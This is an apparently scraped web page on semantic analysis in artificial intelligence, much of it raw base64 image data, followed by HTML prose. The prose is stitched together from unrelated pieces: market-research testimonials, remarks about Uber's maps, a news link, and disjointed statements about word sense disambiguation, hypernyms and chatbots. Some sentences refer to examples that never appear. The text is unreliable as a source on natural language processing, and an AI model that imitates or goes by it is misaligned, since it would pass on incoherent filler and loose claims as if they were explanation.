VdskyimJrW3Z8Dz40ZHvVYTarbNtHvUji8X3WWn7XKvV70VDhQITZekSHr6ylDaB5knhUZDxQsHTVu1V6tL16Lep\/ydaGfSWvSbm6MZVHa+kpAJAKyEjJA8+1Y3VmqfXXBlbobkLlWDZjTa+vBt6z05Go30nCFKH5BWAlKc+ZwDnKk6zc7jqiyWyNvHebKhO4OtuNh2304hocLLDV7KXggdgoNqBzgYKhnHMhOKZhtWK2Vlk\/qO86Gp3qvwRO9TJMTebw1iPXZ90Eu6W3gvWsdaXzQlg22mvz9NhAucj5SZEWO6rH4gu4IU4PaBCQQChXftW6dXcb6u2vttr7lXWx201s2e0BC0vGcRJuDhMu7TxnlNmr7uOknuRnsM9+KR7+9SBivQdJQEXUhEtEmFho6Ov4l7rOXuI16u4uP93TX2219yq9bcU+e3bX2019ypJxTFRmUGz1O+UfaRr1dxvq7a+22vuU6u4v1dtfbTX3KkrA+FMCmZQbPUZR9pGvV3F+rpr7aa+5Tq7i\/V019ttfcqSsUxTMoNnqMo+0jXq7i\/V219tNfcp1dxfq6a+2mvuVJWKYpmUGz1GUfaRt1dxfq6a+2mvuVcaY0lqO4aoOr9XwItuMOE9brfBjzPSVFt5bTjrrq+CQFEsNpShPIAJJKiVcUSDimP0mrMlocN1ZqEK5zkoVStKUrQQKUpQClKUApSlAKUpQClKUApSlAKUpQClKUAqEt077rZrcR2y6WumqkOs2WFKt0O0wGH4js5yW+n\/TVrbUptlSWglSuSUhAcIIXwqbaj7Wu5zWjtQuwWdJSrmiDCizrxMYeZbMOI\/IWy0oJWQXcKbeWUpOQlBxlSkpUBEF8lb42K9otulYOqI8Nhcl1LTEJD0Z4PzZoKlZZIBHUjq7ulQASQ2EBazln7Xv0LlJsLWrdWKgNw3JrdxEWH1lyTbkqDGejx4ekgkJ45ySnPHtWw3PfjUvoMd21bcutvXJ9o2z0u4M8JTCbnHhSCeBJaUDJbUgHIIWCcFKkVbWbxB3ibJNqjaHl3d9N1Va1SkvsxUB5yTLbYTwUtR4pEU815zgpUEkkoSBqtnRv+5MvF3U1erSWRGuTMGLb4zbM6UuQyHkuZbKljpBwHCgcd85Ski52v3a1KddKa1Tfb9dGfk0t3WK3EYdhxbo9dGozIirZTyUwErWOSlH2W1E5Wh0J29nfa4yLWxebbpB24u3GbDhxLUZTLEpLr8Rl7pIJUpLxHN1SlDiEobUo+yOVYKVv6zFu02Dorb6Gia\/f7dGfkl1vpzWH7j6E68XGvZU6DjA5LxzTywQpAAud0blvdD3Kcb29+WpsVy2PejRPQ224DTwhyChanlNrS7mR0QUKcYWkhHHmgqB1S9Wjda6XBOq9J3PcUvWbTWolWuRdrbEYkvyym2KYiqb6YJbW80+QFoQtRQsA9MIKpCt++z6be1cJelJky2sFmJNujTjLQRNdjCQhsMFZXxKFspKgThTo7EJWpO37e69k61NwYuOmJVjlwUxXgy\/IbeK2JDXUbVlskBX0kqT3wU9ioEGgIZN18SCr7qb5UdvkeEzMc6jVttzbqmbd8otdJyCpbfFx30HqkpSXlcirIQ4EIVfaLuu5enm\/kpFp1jJj3i5tvQH5lrQHEIVfZK5TsohKUsFUJxhWFBOUg8UhYUK6J4j4U4p+FAc0Wiw7ywrULbaV32xNxbHJkj0SHHC5M5m02pMVtxS21FX470pPxPTKc8UgDYtGa31Hc96nNOS9T3mQQ\/ejOtym4pt7Edl1tMMsrQnqcw2tPUBUSlxagsJ9hNTrgfCrVm0WqNOfuke2RWpkoJS\/IQylLroT5BSgMqx7sntQEB7YN7gQN9L\/eLvoefGhaielMzZSopQ1AUwtYjJD3\/riH2W0OB3JSwSWgEdQCuhh5UwPhSgK0qilJSCpSgABkknyFQ\/r7xK6S09c\/wQ0PDka41Y6rptWqznqJbV7y88AUoSPfjJHvAHegJE1prjS+3unpOqNXXZm32+KnKnHD3WrBIQhPmpZwcJHc1AlusOp\/Etc29dbmR3tPbYWxZlWqxPL6btzCM4kyz24t8e4GcY8u3tKzukdjdUa3v0bcnxFXFi7XRjDlt05H\/2bbP+ZPcOr8u+SMjuV+yRitzdR3bfzWr2wu3c5TGnLcpKtaXqORhLYV\/6E0fy1FJCsfpB7JUDjnJtJVlKJS5dTU71X72r3IQq0GNtQj+IrWn4YXVDcDZ7b9xRtjLoLLF1lMp9qQtJAHQbAOPdgAe9YF\/sTAkb17mXfxI36KU2mKXLLoqM5yw1FbUpLsriewUs8h+jksd8JNeN80iWjSnhK2tZ+Tfl5pCro5Fxi3WRo\/jCffycII7\/AEsKB+mK6D07YLXpWxwNN2OII0C2Rm4sZseSW0JAA\/Se3c+81eRlVlIaviLTEfrcv8JyTYh5q\/3kzV\/wh7ebu66nqqGSHlVaoBiq1pPTFKUoBSlKAUpSgFKUoBSlKAUpSgFKUoBSlKAUpSgFKUoBSlKAUpSgFKUoBSqE4FR\/uVum9t\/c4MFrTi7m29a7pepbqZQa9GiQUsqdIBSeayHgEp7ZVgEgEqAG7XVNyVbpSbOuOieWXPRVSEqU0l3ieBWEkEp5YyAQcZrnC\/bXeKHVNzgXvUTG0FwnWxSVRXn4kpRQUrDie3HCglaUrSDkBQChgjNbo\/u5uArVkbSzGjLMLm1ElSJUQ34ejrQGWHWlok9HPLC3UFHT8ylWeGFVZag8Ql7OlJ+o9K6TiGK5DkptkidceDnpjdqVcPx0dKCUtdNCk5CyoqSPZCVBygI+tHh\/8Q1ngToDMLaR4XJBRMdejSlOPDrF7uQkcfxmF+zjKgFHKhmszC2s8UFtcLsBjaGOsyUzeTcOSD6QlTikufR+kFPOnPxWr41ucPe+9C\/XrTx0\/Gly7K++\/cetdW4zMeM36OlQYdW2lLquTyiOfTGEe0pPJIraNs90JOvrnebZcNNrsr9sDTrbLr61uOsuLdQlfdtKFA9Enm0p1s8sBZKVClIIUuOx3iKuoiibbtolehFRjlDExstckNoOCkA\/RaaH9CE\/Cvg1sBv6xIelMWLZtDkgguFMSX3xITITgYwni8hLicYCV5IwSc9Y9vj\/AI07fH\/GopByyvZXxGuXRi9KtWzZmx4\/orbvoUnKW+C2wMccZCHHEhWMhK1AHBIrYIGlPGBa33pNvuG1TDshtpp1aI8kFaGklLaT7PkkEgV0N2+P+NO3x\/xpSCBvk7xq\/wA\/7Yf3Mr7tPk7xq\/z\/ALYf3Mr7tTz2+P8AjTt8f8aUggb5O8av8\/7Yf3Mr7tPk7xq\/z\/th\/cyvu1PPb4\/407fH\/GlIIG+TvGr\/AD\/th\/cyvu15csPjRnjoO6326tqVdi9GhPOrH9AWgip77f8A4aZ\/RSkECOeGvWesW22t39+dS6giFQU9bbc2i3xXf+BYRnmn9QP9FSrojbbQu2tvVbdEaZhWplZBcLKMuOke9bisqWf+YmsnqDUun9KWx686kvUK1wWElTj8p5LaB+snuf0edQFd90txfEJIe0lsRHk2PTBUpi5a0msqb5II9pENBwor\/wCLsR\/wdlHHNT0OW\/DteuxqbVwTmuohVoMruzurqPWOpHNjNkHw5qB4cb7e2ySxYo+cL9odusRkAA5Sew9r6O32iy6B8M20ctxslm12OMqZNkr7vTZGACtX5TjiuKQPLulIwAKze2O1mkdpNOI07pWEUhSurLlvEKkTHT5uOrx7R7+XkPIAVDO4zx8Re9UPZu2udXRmhnW7rqx5t08Jcrv0YXbzwQeQz+X5FAqslJvdEzma1v8ARqWJztXv8jJOR1gM\/Dre7U1OeCbV5Gd8L+jLxMj3rfjXcZCdU7guiWhooPKBbRj0eOknuAUhKj8QG89xU918220NNpbQkJSkYSAMAAe6vpXoudWWk6SsBJaEkNPetqrtXqKUpVTQKUpQClKUApSlAKUpQClKUApUZbx7nz9tTa5MC3+nqltSVCOuSllpxSVMpSFq6a1AZdzlOMe8KrXLnvzqbTj6WdRWGxMokOXGJHfbnvqT6RFnxog5J6JPFxUpJAGcFIBOFFSAJwpXONv8VlwuMRUlvTVqaMGXFhykPXTC5a3r1ItmYoSghZR6MXlJJ\/6RCM\/y63DbHfC4bgWC536VplEBqNZo97YQJiXFcXUunoOpHtIWnpd1YAJKgBlBoCXqVz4nxK6oiMLk3fQkFJi25q4SI8a6cnFJdhKlo6XNCeYCQlBIT3UHeI\/F4XkNReIC8adRPYUxo+ZItsC4XR6RHvqvRXG4rMZ30cLLXsSF+kjCTyHBIX\/L4pAnOlc63vxSXe3SIvoWkrasXG4S7fHhSrmpmcwtiYxF5vthtXBDhf5pIzhPA+1z9m5l736zlaiVZIjNugybfcocC4FyRyiqSbuqG4pvLfUSpSQk+0rA5EAZAUoDoGlc92zxI3T5A+WHLLDfbjNtMOR3riDcX3V2z07rBtDSU9EZ4FQA7JdVgBHEylt7rC86nNxjX+2Q4UuD6K5xiSFPNlt9hDqRyUlJ5J5FJ7YOAe2cADcqVTIpkUBWlUzTIoCtKpyHxpyFAUX3GPjXPV22a8TFxvDl0Tv7Zcp9IajKc0tGW4zHdUCpoKKSQkhDfIZ78E5ziuhvOnlWWZlWzNCOVUosVU+CkbTkw+Ebdg2hFgO4ugzbG3VvIhnQVv6KVqCQpQR08AkISk\/EJA8gKyL3hq35kXiRqB\/eLSblzlxFQH5i9FQlPOxikJLKllvKkFICSknBAA8q6hyPPNV\/XWbRcPfffdiKqHLHzXt7uMBB3Z0eU2p8SYIOiIOIzwShIW3hv2VYabGR\/wDpo\/JGL2xeHnxD6XkTpemt7tNWp+5udaa5C0fDZVJcyo8nClAKjlSjk+9Sj5k101+un66aKhb777sRQc++qrxa\/nKW7924\/wB2nqr8Wv5ytu\/dqP8AdroL9dP100VC3333Yig599Vni0\/OUt37tR\/u09Vfi193iVt37tR\/u10HSmi4W+++7EUHPnqr8Wv5ytu\/duP92nqr8Wn5ylu\/dqP92ugv10\/XTRULfffdiKDn31VeLT85W3\/u3H+7Q7V+LT85S3fu1H+7XQdUqNFQt9992IoOffVX4tPzlbd+7Uf7te29oPFBMPRu3ieQ0wfpGJpuOF\/qPs4\/rqf6VOioS7XPvuxFBB1m8J2in7snUG5uo79uFcUABs3yWVx2viEMp7Y\/4VFQ\/RU0xIcW3RWoUCKzHjsIDbTLSAhCEjsEpSOwA+Aq4yP6q1fcjcbS+12kp2sNWTxHhQkdkJwXX3D9FptJ+ktR7AfrOACRqlpKBLaoLaFXqvmu1Sr3thtV7loRDTfEPu7I220vHtGlmhN1pqh4W3T8BJBWp9ZCS8R+Q3yBOe2SkHAJIyuxO1EfaLQcbTzskzbvMcVcLzOUrkuXOcwXFlR7kDskZ9wBPcmtE2J0FqjWGqZPiN3YiLYvt3aLWn7Ssq42a3H6I4nydWk5JxkBSvIrIE\/gd81sctVKiGCVY6YiZ3ESjualiW+a\/Ariq0pVD0hSlKAUpSgFKUoBSlKAUpSgFKUoCEr5sXudebnKnI8R+oo8d59x1mL8kQlpjoUrIbSSjOAMDP8AwirGV4dtzpzK403xLahkNOpWhbbtkgLSpK+6wQUYIUe5Hv8AfW47u611lpX0RjRrdq6rluudyecuEZ15OIjSHA2lLbiDlfIpyT288HGDF2tfEfr\/AEQ3fbbcWtOu3SxvPyEKTBdaZnRm4MKV0k9SSkJczMLeUrcWQjkllXt8L13GJZCCq0rTediXdw8Jerro8w9O8Q+o1iM40802LXFS0hxtwOIWG0gICuaUknGVcUhXIAAZWN4d9zoRkmH4l9RMGY4XpJaskFPWcIwVLwj2iQAMnv2FWU\/dzW+pkORrHfbFAmOajYhsW5uNIXLgstXpiLzlqC+K232ll0Jw0VIVhCnE8nE5KJuLudctTx9MwFWSPcpTht782RDkuQ0qYevKFPIjB9JHP0Br2epkBzupXFNK7vtBmEHnedifL5u+53pTM35y+ovSIzZaZe+Q4HNts4yhKuGUpOB2Hwr4o8NW4TcaNCb8Rd7THhvCRHZTYLeEMugkhaE8MJVkk5HfJNXuiN8NW6q1\/Z7BKsVvjQLlGjLdY5I9Ia6ttRMMhJ9ILimg4vo4McJyM9Xl+Lr7XrdfWC9RztOJsIYTp29xYtwfHWQHUyZrfoXSKCStJiFaneyhzwMY9kso4ZhB53nYmAPhS1qq+DUj3iO1O9c09TjIftsVwp5lJVgKBA7pTjt7IBCeIJByTnh33OdDgd8S+ol9X6fKyQTy9rl39jv7Xf8Ap71qDXiP1078mynolskTUB5mU\/FadFuiIddtyBIc6T7qHm2EynnVnmlYQ37SWORNbJbt79yZ86Q3Hjafft9kS07JmtQ3yi8tG4riFyIethpBSnkFEugKScFSSFUru+0CyMFdtN52Jcnw47kGQiWfElf+uhgxUu\/IUDmlknJbB4ZCCcZT5Vct7C7uNElrxR6pQVYBKbPCGcDA\/k+4VOIxjuDVe3wNK6\/aDMIPO87EhH1GbxD\/ANqnVf2TC+7T1G7xH\/2qNV\/ZML7tTd2+Bp7PwpXX7QjR8HnediQj6jN4vzqdWfZML7tU9Rm8X51OrPsmF92pv7fCnb4GldftBo+DzvOxIOVs5v3bR6XY\/FBdZElHdLN0sER6O4fyVccKAPxBzXyb301zthLRbfEPo1m3QHFpba1XYg5ItSio4AfQR1I5zgZVkEn3AZqdioD+ioq3N34290q+dHNRndYajmpLbWnLSyJb7ue2HQMpaR37leO2Tg1KKr9SocY0FkqmUZEVvmqqi+5V+BJFlvNp1BbY95sdzi3CBLQHGJMZ1LjbifilSSQRWmbqbjXjb2RaPRbM3NYvinbXEVlXIXdzh6G0oD\/ol4e5K808U\/GoG0v4Yt2bnqSTrW16ij7MxprhdFh03Jelefcl4FxMcK\/Q2nh+it1f8OW8z7hcPiv1XjnzSFW9v2Tnt5LAH6sUVjbRBnZp7aXQF6p8FVF6oYzWniG1BpiTNsgctwjPMXhLTq5QVO6rblxDeAlRW3j0RASSwpsjnlxJRhV1cPElqi3hTMGLpuTJVIdt7VqfkuC4RC2tlCZkoJz+Ie6gKSEpID0cgr5kJL8MW7bjqX3PFLqRTiEqQlZtjXIJV9IZ5+Rz3HvqvzZN3eqt\/wCdNqTquJSla\/kxrkpKfognnk493wqKrd46Z1McBercSX9tNVXfVNquYvzcMXCzXiZaH3IYUll4srwHEoUVKRlJTlJUrBz3Irb653R4cN6G+XT8WGqk8lFRxb2xk\/E\/jK9fN03r\/Oz1Z+wI\/iUqt3hnUxwF6txOhqVzz83Tev8AOz1Z+wI\/iU+bpvV+dpqz9gR\/EpVbvE51McBercToalc8\/N03q\/Oz1Z+wN\/xKfN03r\/Oz1Z+wI\/iUqt3hnUxwF6txOhqVzz83Ter87PVn7A3\/ABKfN03r\/Oz1Z+wI\/iUqt3hnUxwF6txOhqVzz83Tev8AOz1Z+wI\/iU+bpvX+dnqz9gR\/EpVbvDOpjgL1bidDVRRwK56Ph03q9\/iz1Z+wI\/iV5X4YNybqPR9TeKbXkuEfpswymIpY+HNKj\/8AI0qt3iM6mV2QF6txN\/3W37282hjdPUN1Eq8PhIh2WDh6dKWo4QlLY7pBPbkrA+GTgVHeiNq9cbx6vhbveICCmFEgK62nNHZ5Mwfg9JB+m72ScEdiBkDAQnfttfDptZtbLXd7BYVSry73cu1ydMqYo+8ha\/oE+\/gE599ScBgVNZGp+EqktFmnI6booTWjU1p5qvf8CiRgV6pSuZ6QpSlAKUpQClKUApSlAKUpQClKUApSlAc+XnaK6TbzPlI3v3RipelOuBiNfUIaaBWTwQnpHCR5AfCrQbMXb6+92f3gR\/BpStZ8Q9y1l1j1L3b6+92f3gR\/Bp6l7r9fe7P7wI\/g0pQrWW0p6lrr9fW7P7wI\/g1X1L3Y\/wDX3uz+8KP4NKUFZbR6l7r9fe7P7wI\/g09S92+vvdn94EfwaUoKy2j1L3b6+92f3hR\/Bp6l7t9fe7P7wI\/g0pQVltHqXu3197s\/vAj+DT1L3b6+92f3gR\/BpSgrLaPUvdvr73Z\/eBH8GnqXu3197s\/vAj+DSlBWW0ubd4fmr8tUDUG826dygrGHYj+pClp5PvSvptpJB\/pqWNA7U7ebYwXLfoXSkG0tvYDzjSCp57Hl1HFZWvzP0ifOlK5RVXYe72RDY5FeqJSnf3m2cQPIUwKUrie2MCmBSlCRgUwKUoBgUwPhSlAMCmBSlAMCmBSlAMCmBSlAMCq0pQFMCq0pQClKUApSlAKUpQClKUApSlAKUpQClKUApSlAf\/\/Z\" width=\"302px\" alt=\"semantic analysis in artificial intelligence\"\/><\/p>\n<p><p>Moreover, some chatbots are equipped with emotional intelligence that recognizes the tone of the language and hidden sentiments, framing emotionally-relevant responses to them. Maps are essential to Uber\u2019s cab services of destination search, routing, and prediction of the estimated arrival time (ETA). Along with services, it also improves the overall experience of the riders and drivers. GlobalData provides a great range of information and reports on various sectors that is highly relevant, timely, easy to access and utilise. The reports and data dashboards help engagement with clients; they provide valuable industry and market insights that can enrich client conversations and can help in the shaping of value propositions.<\/p>\n<\/p>\n<p><p>However, due to the vast complexity and subjectivity involved in human language, interpreting it is quite a complicated task for machines. Semantic Analysis of Natural Language captures the meaning of the given text while taking into account context, logical structuring of sentences and grammar roles. I\u2019m in the business of answering and helping people make decisions so with the intelligence center I can do that, effectively and efficiently. I can share quickly key insights that answer and satisfy our country stakeholders by giving them many quality studies and primary research about competitive landscape beyond the outlook of our bank. It helps me be seen as an advisory partner and that makes a big difference. A big benefit of our subscription is that no one holds the whole data and because it allows so many people, so many different parts of our organisation have access, it enables all teams to have the same level of knowledge and decision support.<\/p>\n<\/p>\n<p><h2>Javatpoint Services<\/h2>\n<\/p>\n<p><p>The challenge in evaluating a sentence\u2019s grammatical structure is not to determine its grammatical order, but rather to determine its purpose. The use of these two techniques to enhance natural language and sentiment comprehension can be beneficial in customer service. Semantic analysis is the study of how to interpret a message\u2019s tone, meaning, emotions, and sentiment. The ability to understand a client\u2019s words is an excellent way to improve operations.<\/p>\n<\/p>\n<div style='border: grey solid 1px;padding: 10px;'>\n<h3>How to Identify AI-Generated Content &#8211; RealtyBizNews<\/h3>\n<p>How to Identify AI-Generated Content.<\/p>\n<p>Posted: Mon, 09 Oct 2023 07:00:00 GMT [<a href='https:\/\/news.google.com\/rss\/articles\/CBMiSGh0dHBzOi8vcmVhbHR5Yml6bmV3cy5jb20vaG93LXRvLWlkZW50aWZ5LWFpLWdlbmVyYXRlZC1jb250ZW50Lzk4Nzc5NjUxL9IBAA?oc=5' rel=\"nofollow\">source<\/a>]<\/p>\n<\/div>\n<p><p>Machine learning-based semantic analysis involves sub-tasks such as relationship extraction and word sense disambiguation. Upon parsing, the analysis then proceeds to the interpretation step, which is critical for artificial intelligence algorithms. For example, the word \u2018Blackberry\u2019 could refer to a fruit, a company, or its products, along with several other meanings. Moreover, context is equally important while processing the language, as it takes into account the environment of the sentence and then attributes the correct meaning to it.<\/p>\n<\/p>\n<p><h2>Machine learning algorithm-based automated semantic analysis<\/h2>\n<\/p>\n<p><p>It represents the relationship between a generic term and instances of that generic term. Here the generic term is known as hypernym and its instances are called hyponyms. In the above sentence, the speaker is talking either  about Lord Ram or about a person whose name is Ram. That is why the task to get the proper meaning of the sentence is important. There are two types of techniques in Semantic Analysis depending upon the type of information that you might want to extract from the given data. Through identifying these relations and taking into account different symbols and punctuations, the machine is able to identify the context of any sentence or paragraph.<\/p>\n<\/p>\n<p><img decoding=\"async\" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' 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width=\"309px\" alt=\"semantic analysis in artificial intelligence\"\/><\/p>\n<p><p>It\u2019s an essential sub-task of Natural Language Processing (NLP) and the driving force behind machine learning tools like chatbots, search engines, and text analysis. It is an automatic process of identifying the context of any word, in which it is  the sentence. For eg- The word \u2018light\u2019 could be meant as not very dark or not very heavy. The computer has to understand the entire sentence and pick up the meaning that fits the best.<\/p>\n<\/p>\n<p><p>It groups English words into sets of synonyms called synsets, provides short, general definitions, and records the various semantic relations between these synonym sets. They also consist of arcs and nodes which can be organized into a taxonomic hierarchy. Semantic networks contributed ideas of spreading activation, inheritance, and nodes as proto-objects. However, machines first need to be trained to make sense of human language and understand the context in which words are used; otherwise, they might misinterpret the word \u201cjoke\u201d as positive. In the case of syntactic analysis, the syntax of a sentence is used to interpret a text.<\/p>\n<\/p>\n<ul>\n<li>Artificial intelligence&#8217;s perfect feature is the capacity to rationalize and perform decisions that have the greatest chance of fulfilling a particular purpose.<\/li>\n<li>In the frame, knowledge about an object or event can be stored together in the knowledge base.<\/li>\n<li>According to the judicial logic, this kind of mapping is not a direct mapping, but needs to be passed through the rules of evidence.<\/li>\n<li>Besides, some algorithms are less cost-effective, while others have limits on bandwidth and latency.<\/li>\n<li>It understands the text within each ticket, filters it based on the context, and directs the tickets to the right person or department (IT help desk, legal or sales department, etc.).<\/li>\n<\/ul>\n<p><p>However, by employing that subject matter expert to devise business rules for annotating the necessary training data, \u201cwe can do it in three days,\u201d Varone concluded, which expedites time to value. There are also instances in which organizations can utilize machine learning methods to refine or populate the knowledge base upon which to create symbolic AI rules. \u201cWhy you see more and more interest in the hybrid approach is because mixing symbolic is super efficient in terms of resources; it\u2019s a thousand times more efficient,\u201d Varone observed. Data is collected from various sources in the modern computing world and distributed through networks between devices (e.g., IoT). Artificial Intelligence (AI) and its derivatives have been used as essential methods for analyzing and manipulating the data gathered to achieve efficient reasoning in solving security issues.<\/p>\n<\/p>\n<p><p>Artificial intelligence contributes to providing better solutions to customers when they contact customer service. These proposed solutions are more precise and help to accelerate resolution times. Today, machine learning algorithms and NLP (natural language processing) technologies are the motors of semantic analysis tools. Today, semantic analysis methods are extensively used by language translators. Earlier, tools such as Google translate were suitable for word-to-word translations.<\/p>\n<\/p>\n<p><img decoding=\"async\" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' 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6VNDjyTuqMWkLg0cqwkOJBKQQrhJyCCOR2yPOtiDvOMYql9F9YG29Xo0Xdbwu5MXeS4bTNkM7JkU5yY01pOQDkkIcCuQk7gOKuNCighW4lKT7+ccfLI7\/Wn5WLJiPDZOymsduFpUlRbPwLI7bse7n0zW1tefexVLX2362tPUJ3VV11LeTpx+4R\/ZJdsmBbNvZJSn2eXDKcqbWolJeSfdJBPNbdO9XdbXrqebAxpXfp4XqVY9zcZwvgsLcSt9boKm2yC2Mtr2kpcSQT2q\/\/AASd8RlgLTQtQGUdK077qWNp6fZY06O74F5m+wCSMbGHShSmwr\/0ykpHzIpwkWi2zpcSVcISXnYS1OMLJwUbklCtp+aFKH3\/ACqmNS9SoXVDT180hbNOzotygW1d2hy5B\/ZxrvCUp\/2ZWMELSloK4zkKxT3L65SNKJ07atXacRcb9qNLb7abI44plMZakJDxDg3FWVK\/Zjkbck4Ip0ml5Aa1zG04jpHqNqjwFbOAkkAADPYDArcn4hVdXLrLZrdrFejTY7jJfjy0RJ77ZSG4CF+EGZLv9hxb6U4HI2KNYp6sfYlqv2stZJiQtNR7qq3WZcfc7LlrQ4tlSFt5ABU4jKTnG3JPaq40nKJDS2rNfmVI2Vn+ZWWTjBPqBTZqfUkLR2nZ2q7uHBCtkVU18NICnA0CPeGTgcEGmrp\/1Bt2v7I9doFukxS1JMRTclaFEKSlJJSpvKVA7jyD5EVDbjetKxtW6\/6Yanv4dXf0tSYkSUhS0gSYqEllKxwgeIjISf4sCpYMDIbMcc3bTRCHzNaOCp7etEaM1VLj3W+6dgTZLRStuTs2uFPcAqTyrjAwcjjtUjTxj5VUOgeuWl7mzZdLqhXdEx21qESSYwMea9Fj7pCG1bgdyNhScj4wRTpB69aMudqcu1tYuL0eJNt0WS4tnw0IalrSgP7j8SG3CpCgPNB86dk6dnMNOZwDwhksVXfKs5K8nGK2tbed1VbeutVrOh5mstGRXLk5CuCreYb7K21PLbw46E49Y4W4j+I4HnTv\/pj0JItsqbZruLrIjIYWbfDIVLcL6khpDYOElRK0jzwo84AqD+F5g5DE7e3wVM7ta7de4RttzhMSYxdbe2OJJBWg5STzyAfKlIQhKx4Q2oACdnGMDsOMYx8qjuh9aWvXml42p7N4yGX1usraeADjDzTim3G1YJBKVoUMjg+VP6Xk8Z5Pyqk9z2u9N3BUQY1jzJXPulKEJ3dq2gAdhTDedZWGwutx5knxJbuPDiRm1Ovrz2Gwcg\/MnFa40\/U94d3qjR7HESclLivHlqHoUj3GyfQ5NOdA5rbKjbPGXbWm0+S0JkMPQVf+MsOtDPqpOAajbGq5Nis4avmmL8py1xv9ckNQiphKG0ZLm\/OMFIzUicUFpTtWSCMjONyT9Rx5Z++o11Feel6VdsLThLt8eTbEAjOfEOXFfUNpVz86lxi1xET+u\/zVbUBJEw5UZpw4r3CmTLyJLLbrCgPFQHASOySM5pBfrQzdoEiEmapl2WEp8RaStsbPeAUgEEglIHxD\/I+IHhpShHAQAAB6AYxW1DrmThZHHlUTXFjtze1blhZkRmOQcEcpn0tpRljT0CPqtqJcbrEjPwFSsbt7JcUCMccKQE+7zj1rK6qsuk0CXbmER0sQfY0NJOEBkZ2px8sqx6bqdX3i03v4SlPkOBVV9UrwX2iw05jcNp+mKlORK7tyZBg48Lw9jACPPlJOm9vgain3qLLigNXaOqE4pOPdbIIG3IyCOCOe4Bqt9N6yuPTvW7+nZ74SYcxcd4egBBBx6EYV\/vVbvR2EYoScHO4FPrmox+k905tr0JrqRbi3GuDSmYc5tKtvtCMHYsf2\/I+eAPSr2Bn\/AGaN7ZD8tLG1nQRnvjdBw4Hx9U3X39I+7pcechulhs\/uoIJT388fKoXN68agkPhbl4eUhQ5\/bkY\/CqFvsDUzlxdmWFcl0NkLcQokoKefd+tQqRr1CHnYM1RiyUqKHWld0mvO5MuSR7nA+SvYsbCiZCxpbyAF09fevsxqKUx7vJLqEhKR4yyFH8ao\/VGr5t7urs+bOcfee7rUskjzwM5wKreZqljxUKEhZKCQn3qPtZtSCrecioblJ7ThDGzloT7LuqnZClb8gdys7iKU6avshmaqWkhLKDsyOMkc\/wCdQGRcy+\/7M24fEeUEIx\/Eal6IvhttsJBASBuHqrzocwjkp4cSVc2lNaPSCAHdox61fGh742+ylC3OVJ3A57VyJp94xXC4okA1eOhb2keGlKz5J+6m35SuaCDa6asd9k2Z1fhEONODLiT5H5fOrAt86FdI6HoCiVEftEqVyk\/SqZttxEhjcSCpwBRP09Pxp6tF7ftklDzbu1Odp\/tH0P51qYWY5hp54WBm4TZPmYOVbbZQPcCsgedb9iCPi\/lTNa50W4RkyorwVkZWn+A55pxDisDmt1rg+nDyuec0sJafC3KQEjIVn7q1OeVeb1eteEk96mUZAAWaPhrY2vYe2a1o+Gsh3oSNFrf4nyorGihO2hVVj5V5tH8P8q2k45rFagRwaiTlhgegowPQUUUIXhSkjBSCD8qzO5xtxhZyhxBbWlXIUkjBH3gn8a8HcVtAKhkUCQsNA0kNeU22XT1j07Cat9ks8K3xmRhtqOwhsIHoNoHFOIbw2tSWwpvhJQON3POPTg1mGiruO1ZpbKRgCnOe5x+Y2kBHhVo50hsdqiEXbWeo5dhguuXNdskPpEYq3BxSnShO93KglR3E5KQTkimK733onqW9v3rTen7vq++Tm0eMjTvjNsvEEY9ocC0N\/PKueKu0DjBGeOxrY2wwyChlttKcbtqGkpBUe4IGAfv\/AMa1sbUyW7pQ4noBrgqxhs8KprPq7pLpxi4sajskzSFzlSJE2TBuSSX3H3mi2t2OUEpeCknCUjPzApdDndIdYWWxNWrWb1pn6ZZ8KM77eq33CG2UJyhSVDIyAndkEEirNdhRJ7jBmQory4p3MKeZQssn1QVDKfxpBftHaR1a6iRqrS1svDjRHhuT4yXHE45HvEZx8s478d6mGoRuId\/Maav7w6\/4Sei7\/EVVMG+dN7VddRS49o1XeLVc247dz1UhKprLsiMMpwoEuAoynK0jb2492kN11J0hvanre09rWbYJMx26OzGWnhAs8gqUQUgp4C96wcZABII5q+IkaNbmGolujMQ47aClLbLaW2wnzCQAAB68UrS44VDMlR\/3MD86sRaq2J28tdx\/rHKX0FAenEnpTYojdo0RqmI\/uOENi5qeySM4S3hIb7cgJqH2fSUbU3XHqAmfcLmI8OXaJi4CX9keSW46VN+INp3IC0jjI5q43W7Paku3IxYMPaD4kktttkA8ZKyMgc+vfFR+3aTl27qjedYR3G0W+8WaJEcQCd4ksuqO7HZQKFAHPpUMGc4PmmZYJYa3Gzd+\/unehwFAIVp6K6C1sxpq73m8W+629xNwgzbhvRCaLwUtbLCz+zSHEr2uDgnuTmk0B\/obcbJdunUa\/wAy0NzrRKsMW4y2vCYltrkOPKejuL9xxSHnFkZI7CrruMG2XeEu3Xa1xp0SRlC4klhC2SD6BWefwrXLsGn7hZU6fkaftky1IRtbgOR0KYaHI91ONqfhPKR9alGsMmH8x0ljuiK\/L+yR2PyaVaP6j6TaRujcC1m4XSIibCmznrUUvRreWGExkLeUOEJKAjOCSTk8YzTdNj\/o\/wClNGaf0rL1s2BGWtMC72xwGWwFHep1S2jlpPuge9kDKeMgYuC22ixactJtdi0tAZiJSr\/UobDTYeJ\/dIVhK\/ovA+dQmJfemmjFy2V9OLhpV6WlQkOf0X3tugkcFcUOpI86nx81uQ64jIT+JBH50mOie0WSsujcC2ae09eNKWBLaYNqvT7MMJXuQIzjaX2ylXmClff5093xnWt4vCbBa1iy2hphK5d3BSt94lRw1HH7q\/VR7eVNnTi527Ud+1le7Ct6VbJ8yAIzzkZccKcRGLbuxDgSoAbUeQqf4S57+MFfOPmaycx5indIRyiTG+1s9Nx+Xz7lM2n9N2XSzbyLHDU25KyZUlx1Tj8hR7qcWrJVn07U9tKCEISlWA2MIAPw\/T0rFCcpKFAjy5FZtspyazHSmU7ipGRRQtDIxQH6r0duO3yqOSgbtr+BbHf+AskFy4nHYPvHw28\/Palz8alCGyBgDzqO2hlSta6odx+1LVuYSPVHhrUD\/wA4qqeDqQ\/6VDmfP6UR8lSLaPQUEhIJArxSwnz5pK\/JLYUrPlVW1bANpDfJpajqAURx61UOpXvb7ihnO7nkd6neo7knwVpC+cGq9Zw9cfFOTgjOBnGeBQpmilaPT2MWUJU237ycFIA5yKq\/9I3VsPU8yLoSwSPHat0hb9xeAwjx8bQ2g+ZSOSfWnXXXVaN0usLcOGpt6\/XNCvYoylYSyjGPHX54SeUjzUMVVWkfBubZdLyn